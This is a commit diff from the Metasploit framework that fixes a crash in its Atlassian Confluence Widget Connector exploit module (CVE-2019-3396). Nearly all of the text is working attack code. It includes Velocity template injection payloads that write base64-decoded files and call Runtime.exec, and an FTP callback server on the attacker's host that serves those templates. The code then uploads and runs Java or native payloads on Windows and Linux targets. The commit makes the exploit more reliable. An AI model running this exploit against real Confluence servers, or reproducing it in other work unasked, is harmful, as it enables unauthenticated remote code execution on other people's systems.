Land #16736, fix confluence_widget_connector crash

This change fixes a bug in the confluence_widget_connector 
exploit module to prevent it from crashing when the HTTP
response body received in the get_java_property method is
empty or does not match expected regex.
This commit is contained in:
Jack Heysel
2022-07-12 12:27:40 -04:00
@@ -11,76 +11,83 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::FtpServer
def initialize(info={})
super(update_info(info,
'Name' => "Atlassian Confluence Widget Connector Macro Velocity Template Injection",
'Description' => %q{
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
allows embed online videos, slideshows, photostreams and more directly into page.
A _template parameter can be used to inject remote Java code into a Velocity template,
and gain code execution. Authentication is unrequired to exploit this vulnerability.
By default, Java payload will be used because it is cross-platform, but you can also
specify which native payload you want (Linux or Windows).
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Widget Connector Macro Velocity Template Injection',
'Description' => %q{
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
allows embed online videos, slideshows, photostreams and more directly into page.
A _template parameter can be used to inject remote Java code into a Velocity template,
and gain code execution. Authentication is unrequired to exploit this vulnerability.
By default, Java payload will be used because it is cross-platform, but you can also
specify which native payload you want (Linux or Windows).
Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.
Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.
This vulnerability was originally discovered by Daniil Dmitriev
https://twitter.com/ddv_ua.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniil Dmitriev', # Discovering vulnerability
'Dmitry (rrock) Shchannikov' # Metasploit module
This vulnerability was originally discovered by Daniil Dmitriev
https://twitter.com/ddv_ua.
},
'License' => MSF_LICENSE,
'Author' => [
'Daniil Dmitriev', # Discovering vulnerability
'Dmitry (rrock) Shchannikov' # Metasploit module
],
'References' =>
[
'References' => [
[ 'CVE', '2019-3396' ],
[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ],
[ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'],
[ 'URL', 'https://paper.seebug.org/886/']
],
'Targets' =>
[
[ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
'Targets' => [
[ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
],
'DefaultOptions' =>
{
'DefaultOptions' => {
'RPORT' => 8090,
'SRVPORT' => 8021,
'SRVPORT' => 8021
},
'Privileged' => false,
'DisclosureDate' => '2019-03-25',
'DefaultTarget' => 0,
'Stance' => Msf::Exploit::Stance::Aggressive
))
'Privileged' => false,
'DisclosureDate' => '2019-03-25',
'DefaultTarget' => 0,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptAddress.new('SRVHOST', [true, 'Callback address for template loading']),
OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability',
'https://www.youtube.com/watch?v=kxopViU98Xo'])
])
OptString.new('TRIGGERURL', [
true, 'Url to external video service to trigger vulnerability',
'https://www.youtube.com/watch?v=kxopViU98Xo'
])
]
)
end
# Handles ftp RETP command.
#
# @param c [Socket] Control connection socket.
# @param ccs [Socket] Control connection socket.
# @param arg [String] RETR argument.
# @return [void]
def on_client_command_retr(c, arg)
def on_client_command_retr(ccs, arg)
vprint_status("FTP download request for #{arg}")
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
conn = establish_data_connection(ccs)
if !conn
ccs.put("425 Can't build data connection\r\n")
return
end
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
ccs.put("150 Opening BINARY mode data connection for #{arg}\r\n")
case arg
when /check\.vm$/
conn.put(wrap(get_check_vm))
@@ -93,83 +100,73 @@ class MetasploitModule < Msf::Exploit::Remote
else
conn.put(wrap(get_dummy_vm))
end
c.put("226 Transfer complete.\r\n")
ccs.put("226 Transfer complete.\r\n")
conn.close
end
# Handles ftp PASS command to suppress output.
#
# @param c [Socket] Control connection socket.
# @param ccs [Socket] Control connection socket.
# @param arg [String] PASS argument.
# @return [void]
def on_client_command_pass(c, arg)
@state[c][:pass] = arg
vprint_status("#{@state[c][:name]} LOGIN #{@state[c][:user]} / #{@state[c][:pass]}")
c.put "230 Login OK\r\n"
def on_client_command_pass(ccs, arg)
@state[ccs][:pass] = arg
vprint_status("#{@state[ccs][:name]} LOGIN #{@state[ccs][:user]} / #{@state[ccs][:pass]}")
ccs.put "230 Login OK\r\n"
end
# Handles ftp EPSV command to suppress output.
#
# @param c [Socket] Control connection socket.
# @param ccs [Socket] Control connection socket.
# @param arg [String] EPSV argument.
# @return [void]
def on_client_command_epsv(c, arg)
vprint_status("#{@state[c][:name]} UNKNOWN 'EPSV #{arg}'")
c.put("500 'EPSV #{arg}': command not understood.\r\n")
def on_client_command_epsv(ccs, arg)
vprint_status("#{@state[ccs][:name]} UNKNOWN 'EPSV #{arg}'")
ccs.put("500 'EPSV #{arg}': command not understood.\r\n")
end
# Returns a upload template.
#
# @return [String]
def get_upload_vm
(
<<~EOF
$i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
EOF
)
<<~EOF
$i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
EOF
end
# Returns a command execution template.
#
# @return [String]
def get_exec_vm
(
<<~EOF
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
EOF
)
<<~EOF
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
EOF
end
# Returns checking template.
#
# @return [String]
def get_check_vm
(
<<~EOF
#{@check_text}
EOF
)
<<~EOF
#{@check_text}
EOF
end
# Returns Java's getting property template.
#
# @return [String]
def get_javaprop_vm
(
<<~EOF
$i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()
EOF
)
<<~EOF
$i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()
EOF
end
# Returns dummy template.
#
# @return [String]
def get_dummy_vm
(
<<~EOF
EOF
)
<<~EOF
EOF
end
# Checks the vulnerability.
@@ -179,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote
checkcode = Exploit::CheckCode::Safe
begin
# Start the FTP service
print_status("Starting the FTP server.")
print_status('Starting the FTP server.')
start_service
@check_text = Rex::Text.rand_text_alpha(5..10)
@@ -198,9 +195,8 @@ class MetasploitModule < Msf::Exploit::Remote
#
# @param service_url [String] Address of template to injection.
# @return [void]
def inject_template(service_url, timeout=20)
uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
def inject_template(service_url, timeout = 20)
uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
res = send_request_cgi({
'method' => 'POST',
@@ -209,23 +205,23 @@ class MetasploitModule < Msf::Exploit::Remote
'Accept' => '*/*',
'Origin' => full_uri(vhost_uri: true)
},
'ctype' => 'application/json; charset=UTF-8',
'data' => {
'contentId' => '1',
'macro' => {
'name' => 'widget',
'body' => '',
'params' => {
'url' => datastore['TRIGGERURL'],
'_template' => service_url
}
'ctype' => 'application/json; charset=UTF-8',
'data' => {
'contentId' => '1',
'macro' => {
'name' => 'widget',
'body' => '',
'params' => {
'url' => datastore['TRIGGERURL'],
'_template' => service_url
}
}
}.to_json
}, timeout=timeout)
}
}.to_json
}, timeout)
unless res
unless service_url.include?("exec.vm")
unless service_url.include?('exec.vm')
print_warning('Connection timed out in #inject_template')
end
return
@@ -234,7 +230,7 @@ class MetasploitModule < Msf::Exploit::Remote
if res.body.include? 'widget-error'
print_error('Failed to inject and execute code:')
else
vprint_status("Server response:")
vprint_status('Server response:')
end
vprint_line(res.body)
@@ -245,14 +241,23 @@ class MetasploitModule < Msf::Exploit::Remote
# Returns a system property for Java.
#
# @param prop [String] Name of the property to retrieve.
# @return [String]
# @return [Array] Array consisting of a result code (Integer) and, if the property could be obtained, the property (String).
def get_java_property(prop)
@prop = prop
res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm")
if res && res.body
return clear_response(res.body)
if res.body.empty?
return [2]
else
prop_to_return = clear_response(res.body)
if prop_to_return.blank?
return [2]
else
return [0, prop_to_return]
end
end
end
''
[1]
end
# Returns the target platform.
@@ -299,7 +304,7 @@ class MetasploitModule < Msf::Exploit::Remote
# @param new_fname [String] The new file
# @return [void]
def get_dup_file_code(fname, new_fname)
if fname =~ /^\/[[:print:]]+/
if fname =~ %r{^/[[:print:]]+}
@command = "cp #{fname} #{new_fname}"
else
@command = "cmd.exe /C copy #{fname} #{new_fname}"
@@ -312,8 +317,8 @@ class MetasploitModule < Msf::Exploit::Remote
#
# @return [String]
def normalize_payload_fname(tmp_path, fname)
# A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
if /^\/[[:print:]]+/ === tmp_path
# A quick way to check platform instead of actually grabbing os.name in Java system properties.
if tmp_path =~ %r{^/[[:print:]]+}
Rex::FileUtils.normalize_unix_path(tmp_path, fname)
else
Rex::FileUtils.normalize_win_path(tmp_path, fname)
@@ -324,57 +329,55 @@ class MetasploitModule < Msf::Exploit::Remote
#
# @return [void]
def exploit_as_java
res_code, tmp_path = get_tmp_path
tmp_path = get_tmp_path
if tmp_path.blank?
unless res_code == 0
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
@b64 = Rex::Text.encode_base64(payload.encoded_jar)
@command = ''
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
@b64 = Rex::Text.encode_base64(payload.encoded_jar)
@command = ''
java_home = get_java_home_path
res_code, java_home = get_java_home_path
if java_home.blank?
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
else
if res_code == 0
vprint_status("Found Java home path: #{java_home}")
else
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
end
register_files_for_cleanup(@fname)
if /^\/[[:print:]]+/ === @fname
if @fname =~ %r{^/[[:print:]]+}
normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java')
@command = %Q|#{normalized_java_path} -jar #{@fname}|
@command = %(#{normalized_java_path} -jar #{@fname})
else
normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe')
@fname.gsub!(/Program Files/, 'PROGRA~1')
@command = %Q|cmd.exe /C "#{normalized_java_path}" -jar #{@fname}|
@command = %(cmd.exe /C "#{normalized_java_path}" -jar #{@fname})
end
print_status("Attempting to upload #{@fname}")
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
print_status("Attempting to execute #{@fname}")
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
end
# Exploits the target in Windows platform.
#
# @return [void]
def exploit_as_windows
tmp_path = get_tmp_path
res_code, tmp_path = get_tmp_path
if tmp_path.blank?
unless res_code == 0
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
@fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe")
new_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe")
@fname.gsub!(/Program Files/, 'PROGRA~1')
new_fname.gsub!(/Program Files/, 'PROGRA~1')
register_files_for_cleanup(@fname, new_fname)
@@ -387,22 +390,21 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("Attempting to execute #{new_fname}")
@command = new_fname
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
end
# Exploits the target in Linux platform.
#
# @return [void]
def exploit_as_linux
tmp_path = get_tmp_path
res_code, tmp_path = get_tmp_path
if tmp_path.blank?
unless res_code == 0
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
@fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
@fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
register_files_for_cleanup(@fname, new_fname)
@@ -417,21 +419,24 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("Attempting to execute #{new_fname}")
@command = new_fname
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
end
def exploit
@wrap_marker = Rex::Text.rand_text_alpha(5..10)
# Start the FTP service
print_status("Starting the FTP server.")
print_status('Starting the FTP server.')
start_service
target_platform = get_target_platform
if target_platform.empty?
fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')
else
res_code, target_platform = get_target_platform
case res_code
when 0
print_status("Target being detected as: #{target_platform}")
when 1
fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')
when 2
fail_with(Failure::NoTarget, 'Failed to obtain the target OS.')
end
unless target_platform_compat?(target_platform)
@@ -457,10 +462,8 @@ class MetasploitModule < Msf::Exploit::Remote
# Returns unwrapped response.
#
# @return [String]
# @return [String, nil]
def clear_response(string)
if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)
return match.captures[0]
end
string.scan(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)&.flatten&.first
end
end